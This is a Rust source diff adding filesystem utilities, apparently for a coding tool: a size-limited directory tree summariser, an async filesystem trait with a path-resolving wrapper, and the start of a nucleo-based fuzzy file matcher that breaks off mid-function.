pub max_characters: usize,
|
||||
/// Maximum depth to traverse (0 = root only)
|
||||
pub max_depth: usize,
|
||||
/// Maximum number of directories to visit during traversal
|
||||
pub max_dirs_visited: usize,
|
||||
}
|
||||
|
||||
impl Default for ListContentsLimits {
|
||||
fn default() -> Self {
|
||||
Self {
|
||||
max_characters: 10_000,
|
||||
max_depth: 12,
|
||||
max_dirs_visited: 2000,
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
impl ListContentsLimits {
|
||||
pub fn new(max_characters: usize, max_depth: usize, max_dirs_visited: usize) -> Self {
|
||||
Self {
|
||||
max_characters,
|
||||
max_depth,
|
||||
max_dirs_visited,
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
fn get_top_exts(files: &[String]) -> Vec<(String, usize)> {
|
||||
let mut ext_counts: HashMap<String, usize> = HashMap::new();
|
||||
for item in files {
|
||||
let ext = if let Some(e) = Path::new(item).extension() {
|
||||
format!(".{}", e.to_str().unwrap_or("").to_lowercase())
|
||||
} else {
|
||||
String::new()
|
||||
};
|
||||
*ext_counts.entry(ext).or_insert(0) += 1;
|
||||
}
|
||||
let mut vec: Vec<_> = ext_counts.into_iter().collect();
|
||||
vec.sort_by_key(|&(_, count)| std::cmp::Reverse(count));
|
||||
vec
|
||||
}
|
||||
|
||||
fn get_file_ext_str(files: &[String], k: usize) -> String {
|
||||
let top_exts = get_top_exts(files);
|
||||
let include_dots = top_exts.len() > k
|
||||
|| (top_exts.len() == k && top_exts.iter().any(|(ext, _)| ext.is_empty()));
|
||||
let top_k_exts = &top_exts[0..std::cmp::min(k, top_exts.len())];
|
||||
if top_k_exts.is_empty() {
|
||||
return String::new();
|
||||
}
|
||||
if top_k_exts.len() == 1 && top_k_exts[0].0.is_empty() {
|
||||
return "(...)".to_string();
|
||||
}
|
||||
let filtered_top_k_exts: Vec<_> = top_k_exts
|
||||
.iter()
|
||||
.filter(|(ext, _)| !ext.is_empty())
|
||||
.collect();
|
||||
let top_counts = filtered_top_k_exts
|
||||
.iter()
|
||||
.map(|(ext, cnt)| format!("{} *{}", cnt, ext))
|
||||
.collect::<Vec<_>>()
|
||||
.join(", ");
|
||||
if include_dots {
|
||||
format!("({top_counts}, ...)")
|
||||
} else if top_counts.is_empty() {
|
||||
String::new()
|
||||
} else {
|
||||
format!("({top_counts})")
|
||||
}
|
||||
}
|
||||
|
||||
/// Pre-collected directory contents from a single walk
|
||||
struct DirContents {
|
||||
files: Vec<String>,
|
||||
dirs: Vec<String>,
|
||||
}
|
||||
|
||||
/// Performs a single parallel walk and collects all directory contents into a map.
|
||||
/// Returns a map from directory path -> (files, subdirs) in that directory.
|
||||
fn collect_all_contents(
|
||||
root: &Path,
|
||||
max_depth: usize,
|
||||
max_dirs: usize,
|
||||
) -> Result<HashMap<PathBuf, DirContents>, FsError> {
|
||||
let _timer = (); // instrumentation_timer noop (dev infra)
|
||||
|
||||
let contents_map: DashMap<PathBuf, DirContents> = DashMap::new();
|
||||
let files_count = std::sync::atomic::AtomicUsize::new(0);
|
||||
let dirs_count = std::sync::atomic::AtomicUsize::new(0);
|
||||
let entries_visited = std::sync::atomic::AtomicUsize::new(0);
|
||||
|
||||
// Initialize root entry
|
||||
contents_map.insert(
|
||||
root.to_path_buf(),
|
||||
DirContents {
|
||||
files: Vec::new(),
|
||||
dirs: Vec::new(),
|
||||
},
|
||||
);
|
||||
|
||||
let walker = WalkBuilder::new(root)
|
||||
.max_depth(Some(max_depth + 1)) // +1 because depth 0 is root itself
|
||||
.follow_links(false)
|
||||
.same_file_system(true)
|
||||
.ignore(true)
|
||||
.git_ignore(true)
|
||||
.git_global(true)
|
||||
.git_exclude(true)
|
||||
.hidden(true)
|
||||
.threads(NUM_WALK_THREADS)
|
||||
.build_parallel();
|
||||
|
||||
tracing::debug!(
|
||||
root = %root.display(),
|
||||
max_depth = max_depth,
|
||||
max_dirs = max_dirs,
|
||||
threads = NUM_WALK_THREADS,
|
||||
"Starting parallel file walk"
|
||||
);
|
||||
|
||||
{
|
||||
let _timer = (); // instrumentation_timer noop (dev infra)
|
||||
walker.run(|| {
|
||||
let contents_map = &contents_map;
|
||||
let files_count = &files_count;
|
||||
let dirs_count = &dirs_count;
|
||||
let entries_visited = &entries_visited;
|
||||
Box::new(move |entry| {
|
||||
entries_visited.fetch_add(1, std::sync::atomic::Ordering::Relaxed);
|
||||
|
||||
// Stop early if we've collected enough directories
|
||||
if dirs_count.load(std::sync::atomic::Ordering::Relaxed) >= max_dirs {
|
||||
return WalkState::Quit;
|
||||
}
|
||||
|
||||
let entry = match entry {
|
||||
Ok(e) => e,
|
||||
Err(_) => return WalkState::Continue,
|
||||
};
|
||||
|
||||
// Skip root itself
|
||||
if entry.depth() == 0 {
|
||||
return WalkState::Continue;
|
||||
}
|
||||
|
||||
let Some(file_type) = entry.file_type() else {
|
||||
return WalkState::Continue;
|
||||
};
|
||||
|
||||
let path = entry.path();
|
||||
let Some(parent) = path.parent() else {
|
||||
return WalkState::Continue;
|
||||
};
|
||||
let name = entry.file_name().to_string_lossy().to_string();
|
||||
|
||||
if file_type.is_dir() {
|
||||
dirs_count.fetch_add(1, std::sync::atomic::Ordering::Relaxed);
|
||||
contents_map
|
||||
.entry(parent.to_path_buf())
|
||||
.or_insert_with(|| DirContents {
|
||||
files: Vec::new(),
|
||||
dirs: Vec::new(),
|
||||
})
|
||||
.dirs
|
||||
.push(format!("{name}/"));
|
||||
// Pre-create entry for this directory (even if empty)
|
||||
contents_map
|
||||
.entry(path.to_path_buf())
|
||||
.or_insert_with(|| DirContents {
|
||||
files: Vec::new(),
|
||||
dirs: Vec::new(),
|
||||
});
|
||||
} else if file_type.is_file() {
|
||||
files_count.fetch_add(1, std::sync::atomic::Ordering::Relaxed);
|
||||
contents_map
|
||||
.entry(parent.to_path_buf())
|
||||
.or_insert_with(|| DirContents {
|
||||
files: Vec::new(),
|
||||
dirs: Vec::new(),
|
||||
})
|
||||
.files
|
||||
.push(name);
|
||||
}
|
||||
|
||||
WalkState::Continue
|
||||
})
|
||||
});
|
||||
}
|
||||
|
||||
let _entries_total = entries_visited.load(std::sync::atomic::Ordering::Relaxed);
|
||||
// (instrumentation_timer.with_field calls removed — dev-only, not part of Phase 1 move)
|
||||
|
||||
let mut contents_map: HashMap<PathBuf, DirContents> = {
|
||||
let _timer = (); // instrumentation_timer noop (dev infra)
|
||||
contents_map.into_iter().collect()
|
||||
};
|
||||
|
||||
// Sort all entries for stable output
|
||||
{
|
||||
let _timer = (); // instrumentation_timer noop (dev infra)
|
||||
for contents in contents_map.values_mut() {
|
||||
contents.files.sort_by_cached_key(|n| n.to_lowercase());
|
||||
contents.dirs.sort_by_cached_key(|n| n.to_lowercase());
|
||||
}
|
||||
}
|
||||
|
||||
Ok(contents_map)
|
||||
}
|
||||
|
||||
struct DirectoryNode {
|
||||
depth: usize,
|
||||
path: PathBuf,
|
||||
files: Vec<String>,
|
||||
dirs: Vec<String>,
|
||||
summary_str: String,
|
||||
children: Option<HashMap<String, DirectoryNode>>,
|
||||
num_listed_files: usize,
|
||||
}
|
||||
|
||||
impl DirectoryNode {
|
||||
fn new(path: PathBuf, depth: usize, contents: &HashMap<PathBuf, DirContents>) -> Self {
|
||||
let (files, dirs) = contents
|
||||
.get(&path)
|
||||
.map(|c| (c.files.clone(), c.dirs.clone()))
|
||||
.unwrap_or_default();
|
||||
|
||||
let mut node = Self {
|
||||
depth,
|
||||
path,
|
||||
files,
|
||||
dirs,
|
||||
summary_str: String::new(),
|
||||
children: None,
|
||||
num_listed_files: 0,
|
||||
};
|
||||
node.summary_str = node.get_remaining_str(&[], false, 3);
|
||||
node
|
||||
}
|
||||
|
||||
fn get_remaining_str(
|
||||
&self,
|
||||
excluded_files: &[String],
|
||||
exclude_all_dirs: bool,
|
||||
k: usize,
|
||||
) -> String {
|
||||
let remaining_files: Vec<String> = self
|
||||
.files
|
||||
.iter()
|
||||
.filter(|f| !excluded_files.contains(*f))
|
||||
.cloned()
|
||||
.collect();
|
||||
let mut file_ext_str = get_file_ext_str(&remaining_files, k);
|
||||
if !file_ext_str.is_empty() {
|
||||
file_ext_str.push(' ');
|
||||
}
|
||||
let file_count = remaining_files.len();
|
||||
let dir_count = if exclude_all_dirs { 0 } else { self.dirs.len() };
|
||||
let indent = " ".repeat(self.depth + 1);
|
||||
format!("{indent}- [+{file_count} files {file_ext_str}& {dir_count} dirs]")
|
||||
}
|
||||
|
||||
fn is_expanded(&self) -> bool {
|
||||
self.children.is_some()
|
||||
}
|
||||
|
||||
fn expand_children(&mut self, contents: &HashMap<PathBuf, DirContents>) {
|
||||
if self.is_expanded() {
|
||||
return;
|
||||
}
|
||||
let mut children: HashMap<String, DirectoryNode> = HashMap::new();
|
||||
for dir in &self.dirs {
|
||||
let child_path = self.path.join(dir.trim_end_matches('/'));
|
||||
let dir_node = DirectoryNode::new(child_path, self.depth + 1, contents);
|
||||
children.insert(dir.clone(), dir_node);
|
||||
}
|
||||
self.children = Some(children);
|
||||
self.num_listed_files = std::cmp::min(3, self.files.len());
|
||||
}
|
||||
|
||||
fn unexpand_children(&mut self) {
|
||||
self.children = None;
|
||||
self.num_listed_files = 0;
|
||||
}
|
||||
|
||||
fn subitem_str(&self, subitem: &str) -> String {
|
||||
let indent = " ".repeat(self.depth + 1);
|
||||
format!("{indent}- {subitem}")
|
||||
}
|
||||
|
||||
fn get_complete_str(&self) -> String {
|
||||
assert!(self.is_expanded());
|
||||
let children = self.children.as_ref().unwrap();
|
||||
let mut remaining_subitems = self.dirs.clone();
|
||||
remaining_subitems.extend(self.files[0..self.num_listed_files].iter().cloned());
|
||||
remaining_subitems.sort_by_key(|s| s.to_lowercase());
|
||||
let mut curr_str = String::new();
|
||||
for subitem in remaining_subitems {
|
||||
curr_str.push_str(&self.subitem_str(&subitem));
|
||||
curr_str.push('\n');
|
||||
if let Some(child) = children.get(&subitem) {
|
||||
if child.is_expanded() {
|
||||
curr_str.push_str(&child.get_complete_str());
|
||||
curr_str.push('\n');
|
||||
} else {
|
||||
curr_str.push_str(&child.summary_str);
|
||||
curr_str.push('\n');
|
||||
}
|
||||
}
|
||||
}
|
||||
if self.files.len() > self.num_listed_files {
|
||||
let remaining_str =
|
||||
self.get_remaining_str(&self.files[0..self.num_listed_files], true, 3);
|
||||
curr_str.push_str(&remaining_str);
|
||||
}
|
||||
curr_str.trim_end_matches('\n').to_string()
|
||||
}
|
||||
}
|
||||
|
||||
/// Creates the project overview
|
||||
pub async fn list_contents(
|
||||
path: impl Into<PathBuf>,
|
||||
limits: ListContentsLimits,
|
||||
) -> Result<String, FsError> {
|
||||
let _timer = (); // instrumentation_timer noop (dev infra)
|
||||
let t_total = Instant::now();
|
||||
let path: PathBuf = path.into();
|
||||
|
||||
// Use this only for the printed header
|
||||
let path_head = {
|
||||
let s = path.to_string_lossy().replace('\\', "/");
|
||||
if s.ends_with('/') {
|
||||
s.to_owned()
|
||||
} else {
|
||||
format!("{s}/")
|
||||
}
|
||||
};
|
||||
|
||||
let lim_characters = limits.max_characters + path_head.len();
|
||||
|
||||
// Single walk to collect all directory contents
|
||||
let path_clone = path.clone();
|
||||
let max_depth = limits.max_depth;
|
||||
let max_dirs = limits.max_dirs_visited;
|
||||
let contents = {
|
||||
let _timer = (); // instrumentation_timer noop (dev infra)
|
||||
tokio::task::spawn_blocking(move || collect_all_contents(&path_clone, max_depth, max_dirs))
|
||||
.await
|
||||
.map_err(|e| FsError::Other(format!("walk join error: {e}")))?
|
||||
}?;
|
||||
|
||||
let t_walk = t_total.elapsed();
|
||||
|
||||
let (
|
||||
mut root_node,
|
||||
mut remaining_chars,
|
||||
to_fit_files,
|
||||
dirs_visited,
|
||||
max_depth_reached,
|
||||
depth_limit_hit,
|
||||
dirs_limit_hit,
|
||||
) = {
|
||||
let _timer = (); // instrumentation_timer noop (dev infra)
|
||||
|
||||
let mut root_node = DirectoryNode::new(path, 0, &contents);
|
||||
|
||||
let min_chars = path_head.len() + root_node.summary_str.len();
|
||||
if min_chars > lim_characters {
|
||||
return Err(FsError::Other(format!(
|
||||
"Minimum possible string is too long for character limit, {} > {}",
|
||||
min_chars, lim_characters
|
||||
)));
|
||||
}
|
||||
|
||||
let mut remaining_chars = lim_characters - min_chars;
|
||||
let mut to_fit_files = true;
|
||||
let mut dirs_visited: usize = 1; // Count root as visited
|
||||
let mut max_depth_reached: usize = 0;
|
||||
let mut depth_limit_hit = false;
|
||||
let mut dirs_limit_hit = false;
|
||||
let mut q: VecDeque<&mut DirectoryNode> = VecDeque::new();
|
||||
q.push_back(&mut root_node);
|
||||
while let Some(node) = q.pop_front() {
|
||||
// Check if we've hit the max directories limit
|
||||
if dirs_visited >= limits.max_dirs_visited {
|
||||
dirs_limit_hit = true;
|
||||
to_fit_files = false;
|
||||
break;
|
||||
}
|
||||
|
||||
remaining_chars += node.summary_str.len();
|
||||
node.expand_children(&contents);
|
||||
dirs_visited += node.dirs.len();
|
||||
max_depth_reached = max_depth_reached.max(node.depth);
|
||||
|
||||
let test_str = node.get_complete_str();
|
||||
let new_additional_len = test_str.replace('\n', "").len();
|
||||
if new_additional_len > remaining_chars {
|
||||
node.unexpand_children();
|
||||
to_fit_files = false;
|
||||
break;
|
||||
}
|
||||
remaining_chars -= new_additional_len;
|
||||
if let Some(children_map) = node.children.as_mut() {
|
||||
let mut child_values: Vec<&mut DirectoryNode> = children_map.values_mut().collect();
|
||||
child_values.sort_by_key(|node| node.path.to_string_lossy().to_lowercase());
|
||||
|
||||
// Filter out children that exceed max_depth
|
||||
for child in child_values {
|
||||
if child.depth > limits.max_depth {
|
||||
depth_limit_hit = true;
|
||||
continue;
|
||||
}
|
||||
q.push_back(child);
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
(
|
||||
root_node,
|
||||
remaining_chars,
|
||||
to_fit_files,
|
||||
dirs_visited,
|
||||
max_depth_reached,
|
||||
depth_limit_hit,
|
||||
dirs_limit_hit,
|
||||
)
|
||||
};
|
||||
|
||||
{
|
||||
let _timer = (); // instrumentation_timer noop (dev infra)
|
||||
let mut q: VecDeque<&mut DirectoryNode> = VecDeque::new();
|
||||
if to_fit_files {
|
||||
q.push_back(&mut root_node);
|
||||
}
|
||||
let mut file_done = false;
|
||||
while let Some(node) = q.pop_front() {
|
||||
if !node.is_expanded() {
|
||||
continue;
|
||||
}
|
||||
let num_file_limit = node.files.len();
|
||||
for i in node.num_listed_files..num_file_limit {
|
||||
let new_additional_len = node.subitem_str(&node.files[i]).len();
|
||||
if new_additional_len <= remaining_chars {
|
||||
node.num_listed_files = i + 1;
|
||||
remaining_chars -= new_additional_len;
|
||||
} else {
|
||||
file_done = true;
|
||||
break;
|
||||
}
|
||||
}
|
||||
if file_done {
|
||||
break;
|
||||
}
|
||||
if let Some(children_map) = node.children.as_mut() {
|
||||
let mut child_values: Vec<&mut DirectoryNode> = children_map.values_mut().collect();
|
||||
child_values.sort_by_key(|node| node.path.to_string_lossy().to_lowercase());
|
||||
q.extend(child_values);
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
let output = {
|
||||
let _timer = (); // instrumentation_timer noop (dev infra)
|
||||
let mut output = format!("{path_head}\n");
|
||||
if root_node.is_expanded() {
|
||||
output.push_str(&root_node.get_complete_str());
|
||||
} else {
|
||||
output.push_str(&root_node.summary_str);
|
||||
}
|
||||
output
|
||||
};
|
||||
|
||||
// Log warnings when limits are hit
|
||||
if depth_limit_hit {
|
||||
tracing::warn!(
|
||||
path = %path_head,
|
||||
max_depth = limits.max_depth,
|
||||
"list_contents: max_depth limit hit, some directories were not traversed"
|
||||
);
|
||||
}
|
||||
if dirs_limit_hit {
|
||||
tracing::warn!(
|
||||
path = %path_head,
|
||||
max_dirs_visited = limits.max_dirs_visited,
|
||||
dirs_visited = dirs_visited,
|
||||
"list_contents: max_dirs_visited limit hit, traversal stopped early"
|
||||
);
|
||||
}
|
||||
|
||||
tracing::debug!(
|
||||
path = %path_head,
|
||||
max_characters = limits.max_characters,
|
||||
max_depth = limits.max_depth,
|
||||
max_dirs_visited = limits.max_dirs_visited,
|
||||
dirs_visited = dirs_visited,
|
||||
max_depth_reached = max_depth_reached,
|
||||
depth_limit_hit = depth_limit_hit,
|
||||
dirs_limit_hit = dirs_limit_hit,
|
||||
output_len = output.len(),
|
||||
walk_ms = t_walk.as_millis() as u64,
|
||||
elapsed_ms = t_total.elapsed().as_millis() as u64,
|
||||
"list_contents complete"
|
||||
);
|
||||
Ok(output)
|
||||
}
|
||||
@@ -0,0 +1,143 @@
|
||||
use kigi_paths::ToAbsPath;
|
||||
use std::io;
|
||||
use std::path::Path;
|
||||
use std::sync::Arc;
|
||||
|
||||
#[derive(Debug, thiserror::Error)]
|
||||
pub enum FsError {
|
||||
#[error(transparent)]
|
||||
Io(#[from] io::Error),
|
||||
#[error("{0}")]
|
||||
Other(String),
|
||||
}
|
||||
|
||||
// TODO: handle atomic write
|
||||
#[async_trait::async_trait]
|
||||
pub trait AsyncFileSystem: Send + Sync {
|
||||
/// Get the root directory for this filesystem.
|
||||
///
|
||||
/// This is used to resolve relative paths via `ToAbsPath::to_abs_path(fs.root())`.
|
||||
fn root(&self) -> &Path;
|
||||
|
||||
async fn exists(&self, path: &Path) -> Result<bool, FsError>;
|
||||
|
||||
async fn read_file(&self, path: &Path) -> Result<Vec<u8>, FsError>;
|
||||
|
||||
/// Read a file if it exists, returning `Ok(None)` when the file is not found.
|
||||
///
|
||||
/// The default implementation calls `exists()` then `read_file()` (two operations).
|
||||
/// Backends should override this to collapse both into a single operation —
|
||||
/// e.g. one ACP RPC or one syscall — to avoid a redundant round trip.
|
||||
async fn try_read_file(&self, path: &Path) -> Result<Option<Vec<u8>>, FsError> {
|
||||
if self.exists(path).await? {
|
||||
Ok(Some(self.read_file(path).await?))
|
||||
} else {
|
||||
Ok(None)
|
||||
}
|
||||
}
|
||||
|
||||
async fn write_file(&self, path: &Path, data: &[u8]) -> Result<(), FsError>;
|
||||
|
||||
/// Delete a file (for rewind functionality)
|
||||
async fn delete_file(&self, path: &Path) -> Result<(), FsError>;
|
||||
}
|
||||
|
||||
pub fn bytes_to_string(file_bytes: Vec<u8>) -> Result<String, FsError> {
|
||||
String::from_utf8(file_bytes).map_err(|e| FsError::Other(e.to_string()))
|
||||
}
|
||||
|
||||
// ============================================================================
|
||||
// AsyncFsWrapper - Generic wrapper that accepts any path type
|
||||
// ============================================================================
|
||||
|
||||
/// A wrapper around `AsyncFileSystem` that accepts any path type implementing `ToAbsPath`.
|
||||
///
|
||||
/// This allows callers to pass `AbsPathBuf`, `RelPathBuf`, `&Path`, or `&PathBuf` directly,
|
||||
/// and the wrapper automatically resolves them to absolute paths using the filesystem's root.
|
||||
///
|
||||
/// # Example
|
||||
/// ```ignore
|
||||
/// let wrapper = AsyncFsWrapper::new(fs);
|
||||
///
|
||||
/// // All of these work:
|
||||
/// wrapper.read_to_string(&abs_path).await?;
|
||||
/// wrapper.read_to_string(&rel_path).await?;
|
||||
/// wrapper.read_to_string(Path::new("relative/path")).await?;
|
||||
/// ```
|
||||
#[derive(Clone)]
|
||||
pub struct AsyncFsWrapper {
|
||||
inner: Arc<dyn AsyncFileSystem>,
|
||||
}
|
||||
|
||||
impl AsyncFsWrapper {
|
||||
pub fn new(fs: Arc<dyn AsyncFileSystem>) -> Self {
|
||||
Self { inner: fs }
|
||||
}
|
||||
|
||||
/// Get a reference to the inner `Arc<dyn AsyncFileSystem>`.
|
||||
///
|
||||
/// This is useful when you need raw access to the underlying filesystem
|
||||
/// without the path conversion layer.
|
||||
pub fn inner(&self) -> &Arc<dyn AsyncFileSystem> {
|
||||
&self.inner
|
||||
}
|
||||
|
||||
/// Get the root directory for this filesystem.
|
||||
pub fn root(&self) -> &Path {
|
||||
self.inner.root()
|
||||
}
|
||||
|
||||
/// Check if a file exists.
|
||||
pub async fn exists<P: ToAbsPath>(&self, path: P) -> Result<bool, FsError> {
|
||||
self.inner.exists(&path.to_abs_path(self.root())).await
|
||||
}
|
||||
|
||||
/// Read a file as bytes.
|
||||
pub async fn read_file<P: ToAbsPath>(&self, path: P) -> Result<Vec<u8>, FsError> {
|
||||
self.inner.read_file(&path.to_abs_path(self.root())).await
|
||||
}
|
||||
|
||||
/// Read a file as a UTF-8 string.
|
||||
pub async fn read_to_string<P: ToAbsPath>(&self, path: P) -> Result<String, FsError> {
|
||||
let bytes = self.inner.read_file(&path.to_abs_path(self.root())).await?;
|
||||
bytes_to_string(bytes)
|
||||
}
|
||||
|
||||
/// Read a file as bytes if it exists, returning `Ok(None)` when not found.
|
||||
///
|
||||
/// Uses a single backend operation instead of separate `exists()` + `read_file()`.
|
||||
pub async fn try_read_file<P: ToAbsPath>(&self, path: P) -> Result<Option<Vec<u8>>, FsError> {
|
||||
self.inner
|
||||
.try_read_file(&path.to_abs_path(self.root()))
|
||||
.await
|
||||
}
|
||||
|
||||
/// Read a file as a UTF-8 string if it exists, returning `Ok(None)` when not found.
|
||||
///
|
||||
/// Uses a single backend operation instead of separate `exists()` + `read_to_string()`.
|
||||
pub async fn try_read_to_string<P: ToAbsPath>(
|
||||
&self,
|
||||
path: P,
|
||||
) -> Result<Option<String>, FsError> {
|
||||
match self
|
||||
.inner
|
||||
.try_read_file(&path.to_abs_path(self.root()))
|
||||
.await?
|
||||
{
|
||||
Some(bytes) => Ok(Some(bytes_to_string(bytes)?)),
|
||||
None => Ok(None),
|
||||
}
|
||||
}
|
||||
|
||||
/// Write data to a file.
|
||||
pub async fn write_file<P: ToAbsPath>(&self, path: P, data: &[u8]) -> Result<(), FsError> {
|
||||
self.inner
|
||||
.write_file(&path.to_abs_path(self.root()), data)
|
||||
.await
|
||||
}
|
||||
|
||||
/// Delete a file.
|
||||
pub async fn delete_file<P: ToAbsPath>(&self, path: P) -> Result<(), FsError> {
|
||||
self.inner.delete_file(&path.to_abs_path(self.root())).await
|
||||
}
|
||||
}
|
||||
@@ -0,0 +1,479 @@
|
||||
use std::{
|
||||
path::{Path, PathBuf},
|
||||
sync::{
|
||||
Arc, Mutex,
|
||||
atomic::{AtomicBool, Ordering},
|
||||
mpsc::{RecvError, RecvTimeoutError, SyncSender, sync_channel},
|
||||
},
|
||||
thread::{self, JoinHandle},
|
||||
time::Duration,
|
||||
};
|
||||
|
||||
use ignore::{DirEntry, WalkBuilder, WalkState, overrides::OverrideBuilder};
|
||||
use nucleo::{
|
||||
Match, Matcher, Nucleo, Snapshot, Utf32String,
|
||||
pattern::{CaseMatching, MultiPattern, Normalization, Pattern},
|
||||
};
|
||||
|
||||
const NUM_NUCLEO_THREADS: usize = 2;
|
||||
const NUM_IGNORE_THREADS: usize = 8;
|
||||
|
||||
#[derive(Debug, Clone, Default)]
|
||||
pub struct FuzzyMatchResult {
|
||||
// Path of the matched entry.
|
||||
pub path: Utf32String,
|
||||
/// Matcher score, higher is better.
|
||||
pub score: u32,
|
||||
/// Matched indices of characters.
|
||||
pub indices: Vec<u32>,
|
||||
/// Is it a directory.
|
||||
pub is_dir: bool,
|
||||
}
|
||||
|
||||
#[derive(Debug, Clone, Copy, Default)]
|
||||
pub struct FuzzyMatcherStatus {
|
||||
pub changed: bool,
|
||||
pub done: bool,
|
||||
}
|
||||
|
||||
#[derive(Debug, Clone)]
|
||||
struct MatchEntry {
|
||||
pub is_dir: bool,
|
||||
}
|
||||
|
||||
/// A very fast fuzzy matcher that does ignore-walking. Both happen in background threads.
|
||||
pub struct FuzzyFileMatcher {
|
||||
root: PathBuf,
|
||||
query: String,
|
||||
nucleo: Nucleo<MatchEntry>,
|
||||
matcher: Matcher,
|
||||
walk_handle: Option<JoinHandle<()>>,
|
||||
cancel: Arc<AtomicBool>,
|
||||
top_entries: Vec<FuzzyMatchResult>,
|
||||
dirs: bool,
|
||||
}
|
||||
|
||||
impl FuzzyFileMatcher {
|
||||
/// Create a new matcher with default config focused on matching paths.
|
||||
pub fn new(root: &Path) -> Self {
|
||||
let matcher_config = nucleo::Config::DEFAULT.match_paths();
|
||||
// matcher_config.prefer_prefix = true; // yes or no? nucleo docs lean towards no
|
||||
|
||||
let mut nucleo = Nucleo::new(
|
||||
matcher_config.clone(),
|
||||
Arc::new(move || ()),
|
||||
Some(NUM_NUCLEO_THREADS),
|
||||
1,
|
||||
);
|
||||
nucleo.pattern = MultiPattern::new(1);
|
||||
|
||||
Self {
|
||||
root: root.to_owned(),
|
||||
nucleo,
|
||||
matcher: Matcher::new(matcher_config),
|
||||
walk_handle: None,
|
||||
cancel: Arc::new(AtomicBool::new(false)),
|
||||
query: String::new(),
|
||||
top_entries: Vec::new(),
|
||||
dirs: false,
|
||||
}
|
||||
}
|
||||
|
||||
pub fn query(&self) -> &str {
|
||||
&self.query
|
||||
}
|
||||
|
||||
/// Start a new walk and restart nucleo matcher.
|
||||
pub fn restart_walk_custom(
|
||||
&mut self,
|
||||
make_walker: impl FnOnce(&mut WalkBuilder) -> &mut WalkBuilder,
|
||||
) {
|
||||
// first, wait for previous walker to finish if it's up
|
||||
self.cancel.store(true, Ordering::Relaxed);
|
||||
if let Some(walk_handle) = self.walk_handle.take() {
|
||||
walk_handle.join().unwrap();
|
||||
}
|
||||
|
||||
// disconnect all injectors and clear snapshots and streams
|
||||
self.nucleo.restart(true);
|
||||
|
||||
// we're back in business
|
||||
self.cancel.store(false, Ordering::Relaxed);
|
||||
|
||||
// build the walker(s)
|
||||
let walker_builder = make_walker(
|
||||
WalkBuilder::new(&self.root)
|
||||
.threads(NUM_IGNORE_THREADS)
|
||||
.follow_links(false)
|
||||
.git_ignore(true)
|
||||
.git_global(true)
|
||||
.git_exclude(true)
|
||||
.ignore(true)
|
||||
.hidden(true)
|
||||
.require_git(false)
|
||||
.overrides(
|
||||
OverrideBuilder::new(&self.root)
|
||||
.add("!.git")
|
||||
.unwrap()
|
||||
.build()
|
||||
.unwrap(),
|
||||
),
|
||||
)
|
||||
.clone();
|
||||
|
||||
fn check_entry<'a>(entry: &'a DirEntry, root: &Path) -> Option<(&'a str, bool)> {
|
||||
let path = entry.path();
|
||||
if path != root
|
||||
&& let Some(file_type) = entry.file_type()
|
||||
&& (file_type.is_file() || file_type.is_dir())
|
||||
&& let Ok(path) = path.strip_prefix(root)
|
||||
&& let Some(path) = path.as_os_str().to_str()
|
||||
&& !path.is_empty()
|
||||
{
|
||||
Some((path, file_type.is_dir()))
|
||||
} else {
|
||||
None
|
||||
}
|
||||
}
|
||||
|
||||
// we'll just do it in a blocking way here assuming it's super fast anyway
|
||||
let top_walker = walker_builder
|
||||
.clone()
|
||||
.max_depth(Some(1))
|
||||
.sort_by_file_name(|a, b| a.cmp(b))
|
||||
.build();
|
||||
let top_entries = top_walker
|
||||
.into_iter()
|
||||
.filter_map(|entry| {
|
||||
let entry = entry.ok()?;
|
||||
let (path, is_dir) = check_entry(&entry, &self.root)?;
|
||||
Some(FuzzyMatchResult {
|
||||
path: path.into(),
|
||||
score: 0,
|
||||
indices: Vec::new(),
|
||||
is_dir,
|
||||
})
|
||||
})
|
||||
.collect::<Vec<_>>();
|
||||
|
||||
let injector = self.nucleo.injector();
|
||||
let root = self.root.clone();
|
||||
let cancel = self.cancel.clone();
|
||||
|
||||
// link walker threads with injectors and start it up
|
||||
let walker = walker_builder.build_parallel();
|
||||
let walk_handle = thread::spawn(move || {
|
||||
walker.run(|| {
|
||||
let injector = injector.clone();
|
||||
let root = root.clone();
|
||||
let cancel = cancel.clone();
|
||||
Box::new(move |entry| {
|
||||
if cancel.load(Ordering::Relaxed) {
|
||||
return WalkState::Quit;
|
||||
} else if let Ok(entry) = entry
|
||||
&& let Some((path, is_dir)) = check_entry(&entry, &root)
|
||||
{
|
||||
injector.push(MatchEntry { is_dir }, |_entry, columns| {
|
||||
columns[0] = path.into();
|
||||
});
|
||||
}
|
||||
WalkState::Continue
|
||||
})
|
||||
});
|
||||
});
|
||||
self.walk_handle = Some(walk_handle);
|
||||
self.top_entries = top_entries;
|
||||
|
||||
self.nucleo.tick(0);
|
||||
}
|
||||
|
||||
/// Restart the walk with default walker parameters.
|
||||
pub fn restart_walk(&mut self) {
|
||||
self.restart_walk_custom(|w| w);
|
||||
}
|
||||
|
||||
/// Set the query to a given string and trigger reparse.
|
||||
///
|
||||
/// It will be faster if the current query is a strict prefix of the new query.
|
||||
pub fn set_query(&mut self, mut query: &str, dirs: bool) {
|
||||
self.dirs = dirs;
|
||||
if dirs && query.ends_with('/') {
|
||||
query = &query[..query.len() - 1];
|
||||
}
|
||||
if query == self.query {
|
||||
return;
|
||||
}
|
||||
// see this re: backslash etc: https://github.com/helix-editor/nucleo/pull/87
|
||||
let append = query.as_bytes().starts_with(self.query.as_bytes())
|
||||
&& !query.ends_with('\\')
|
||||
&& !query
|
||||
.as_bytes()
|
||||
.last()
|
||||
.is_some_and(|ch| ch.is_ascii_whitespace());
|
||||
self.nucleo
|
||||
.pattern
|
||||
.reparse(0, query, CaseMatching::Smart, Normalization::Smart, append);
|
||||
self.nucleo.tick(0);
|
||||
self.query = query.to_owned();
|
||||
}
|
||||
|
||||
/// Sends a tick to nucleo matcher. Can be safely called at any frequency.
|
||||
pub fn tick(&mut self, tick_timeout_ms: u64) -> FuzzyMatcherStatus {
|
||||
if self.query.is_empty() {
|
||||
return FuzzyMatcherStatus {
|
||||
done: true,
|
||||
changed: false,
|
||||
};
|
||||
}
|
||||
let status = self.nucleo.tick(tick_timeout_ms);
|
||||
let done = self.nucleo.active_injectors() == 0 && !status.running;
|
||||
FuzzyMatcherStatus {
|
||||
done,
|
||||
changed: status.changed,
|
||||
}
|
||||
}
|
||||
|
||||
/// Total number of currently matched items in the snapshot.
|
||||
pub fn num_items(&self) -> usize {
|
||||
